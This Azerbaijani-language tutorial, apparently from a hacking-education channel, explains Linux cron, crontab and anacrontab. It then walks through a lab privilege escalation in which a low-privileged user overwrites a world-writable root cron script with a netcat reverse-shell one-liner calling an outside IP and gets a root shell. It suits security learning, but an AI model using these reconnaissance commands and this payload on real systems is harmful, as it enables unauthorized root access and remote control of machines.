Linux Privilege Escalation nədir? Hansı təhlükəsizlik boşluqları var? Privilege Escalationda hansı məqamlara əsas fikir verilməlidir? crontab nədir? anacron nədir? crontab faylı nədir? cron nədir? crontab faylının köməyi ilə Privilege Escalation
Telegram kanalına qoşularaq bu və digər mövzular üzrə quizlərdə iştirak edə bilərsiniz!
Telegram (Kanal): https://t.me/xakeraz_official
Cron tapşırıqları ilə Linux PrivEsc
Cron – İstifadəçilərə əvvəlcədən təyin olunmuş tapşırıqları yerinə yetirməsi işini yerinə yetirən Linux sistemi daxilində yerləşən planlayıcıdır.Tapşırıqlar üzrə isə hansı kommandaların yerinə yetiriləcəyini görürük və xakerlər üçün bu hədəf sistemin istismar edilməsi üçün böyük bir fürsətdir.Təsəvvür edinki biz root istifadəçisinin nə planladığını, hansı skriptin icra ediləcəyini bilirik. Əgər həmin skript üzərində bizim yazma hüququmuz olarsa?Biz hədəfdə root istifadəçisi ola bilərik.
CRON Əsasları
Root istifadəçisi öz Linux əməliyyat sistemində müxtəlif cür tapşırıqları müxtəlif cür planlaşdıra bilər.1-ci üsul Cron kataloqlarından istifadə etməkdir.
- /etc/cron.daily/;
- /etc/cron.hourly/;
- /etc/cron.monthly/;
- /etc/cron.weekly/;
İstənilən skript faylı öz zamanına uyğun olaraq yerinə yetiriləcəkdir.Məsələn /etc/cron.daily/ kataloqunda yaradılan skript faylı öz zamanına uyğun olaraq hər gün yerinə yetiriləcəkdir.
Crontab
2-ci üsul isə Crontab faylından istifadə edərək tapşırıq planlaşdırmaqdır.Root istifadəçisi /etc/crontab faylının köməyi ilə ümumi sistemdə tapşırıq planlaşdıra bilər.Bu üsul root istifadəçisi olaraq tapşırıq planlaşdırmaq istədiyimizdə ən çox yayılmış üsuldur.Cron faylına yazılacaq yazılar tipik olaraq aşağıdakı formatda yazılır.
Dəqiqə (0-59) Saat (0-24) Gün (1-31) Ay (1-12) Həftə günləri (0-6; 0-bazar,6-şənbə) [İcra ediləcək kommanda]
Məsələn: sys.sh skript faylını hər saatın 0-cı dəqiqəsində icra etmək üçün aşağıdakı yazıdan istifadə edəcəyik.
0 * * * * /root/sys.sh
Burada ulduz işarələri 0 dəqiqəsi üçün mümkün variantları bildirir.Həmçinin bu operatorlardan da istifadə etmək olar.
- vergül (,) rəqəmlərin ardıcılığını bildirir. məsələn: 1,2,3,4,5;
- defis (-) diapazonu ifadə etməyə kömək edəcəkdir.məsələn:1-5 ifadəsi 1,2,3,4,5 deməkdir.
- əksinə slash (/) addımın mənasını bildirir.Məsələn hər 4 saatdan bir */4 deməkdir.
/etc/crontab faylı ümumi sistem konfiqurasiya faylıdır.Amma buna baxmayaraq istənilən istifadəçi özünəməxsus crontab tapşırıqlarını əlavə edə və planlaşdıra bilər.Bunun üçün aşağıdakı kommandadan istifadə edin:
crontab -e
Bu kommanda /etc/crontab faylını açacaq və istifadəçiyə yeni özünəməxsus tapşırıq əlavə edə biləcəkdir.
Anacrontab
Cron faylına yeni tapşırıq əlavə etmək üçün üsullardan biridə anacrontab istifadə etməkdir.Bu əməliyyatı yerinə yetirmək üçün ümumi sistem konfiqurasiya faylı /etc/anacrontab adresində yerləşir.Bəs biz bu metodu niyə istifadə edək? Crontabda təyin edilən planlaşdırılmış tapşırığın yerinə yetirilməsi zamanı cihaz sönülü olarsa, bunun yerinə yetirməyəcək aktivləşsə belə. Amma Anacrontab isə fərqlidir, əgər sistem sönülü olarsa, sistem aktivləşən kimi həmin yerinə yetirilməmiş kommandanı yerinə yetirəcəkdir. Anacrontab tapşırığının formatı belədir:
Period delay job-identifier command
7 10 backup cp /etc/passwd /root/
Birinci hissə – tapşırığın yerinə yetiriməsi periodunu bildirən ədəddir.
- 1 – tapşırığın hər gün yerinə yetirilməsini bildirir.
- 7 – tapşırığın hər həftə yerinə yetirilməsini bildirir.
- 30 – tapşırığın hər ay yerinə yetirilməsini bildirir.
Həmçinin bu formatlardan da istifadə edə bilərik: @daily / @weekly / @monthly.
Siz istədiyiniz gün sayını seçərək o müddət ərzində təkrarlanmasını təmin edə bilərsiniz.
İkinci hissə delay yəni gözləmək deməkdir – tapşırığın sistem açıldıqdan neçə dəqiqə sonra icra olunacağını təyin edir. (Dəqiqələrlə)
Üçüncü hissə – Tapşırığın adını bildirir.Hər bir tapşırığın özünün unikal adı olmalıdır və həmin adla fayllar /var/spool/anacron/ adresində yerləşdirilir.Həmin fayl özünə aid olduğu tapşırığın ən son nə zaman yerinə yetirilməsi vaxtını daşıyacaqdır.
Nəhayət sonuncu hissə isə hansı kommandanı yerinə yetirəcəyini bildirir.
CRON kəşfiyyatı və istifadəsi
CRON kataloqlarının bütün məlumatlarını əldə etmək üçün aşağıdakı kommandadan istifadə edə bilərik.:
ls -la /etc/cron* 2>/dev/null
Yazla bil’n cron tapşırıqlarını öyrənmək üçün kommanda:
find /etc/cron* /var/spool/cron -type f -exec ls -l {} \; 2>/dev/null
Crontab tərkibini növbəti kommmanda ilə öyrənə bilərik:
cat /etc/crontab 2>/dev/null
Root istifadəçisinin cron tapşırıqlarını görmək üçün istifadə edə bilərik:
crontab -l -u root
Anacrontab tapşırıqları haqqında məlumat almaq üçün aşağıdakı kommanda istifadə olunur:
ls -la /var/spool/anacron 2>/dev/null
Linux ƏS-də cron istifadəsi ilə başlayaq.Əvvəlki kimi bizim məhdud səlahiyyətli olan elliot istifadəçi vardır. Crontab kəşfiyyatını yerinə yetirdikdən sonra bizi overwrite.sh faylı qarşılayır və fayl hər dəqiqə yerinə yetirilir.
elliot@debian:~$ cat /etc/crontab 2>/dev/null
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root overwrite.sh
Sonra isə həmin fayla yazma icazəmizin olub olmadığını ls kommandası ilə öyrənək:
elliot@debian:/home/user$ ls -l /usr/local/bin/overwrite.sh
-rwxr--rw- 1 root staff 40 May 13 2017 /usr/local/bin/overwrite.sh
Gördüyümüz kimi həmin faylı yazma və oxuma icazəmiz vardır.İndi isə Kali cihazından 4444 portundan gələn əlaqələri dinləyək.
nc -nvlp 4444
Daha sonra overwrite.sh skript faylını istənilən mətn redaktoru (məsələn Nano) ilə açaq və dəyişiklik yerinə yetirək.Faylın bütün tərkibini silək və reverse shell əldə etmək üçün aşağıdakı skripti yazaq.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.154.77 4444>/tmp/f
Nano ilə açılmış skriptin (Ctrl +O) edərək yadda saxlayaq və (Ctrl+X ) deyərək mətn redaktorundan çıxış edək.Tapşırığın yerinə yetirilməsi üçün 1 dəqiqə gözləyək və root istifadəçisi şəklində shell əldə edəcəyik və beləliklə Linux Privilege Escalation yerinə yetirdik.
root@ip-10-10-154-77:~# nc -nvlp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.177.18 39250
sh: no job control in this shell
sh-4.1# id
id
uid=0(root) gid=0(root) groups=0(root)
Ümidvaram faydalı olmuşdur.Təşəkkürlər!
Bizi izləyin:
Telegram (Kanal): https://t.me/xakeraz_official
Paylaşımların səliqəli yığılmış halı: https://t.me/xakerazgroup
Fikir və şərhləriniz : https://t.me/xakerazchat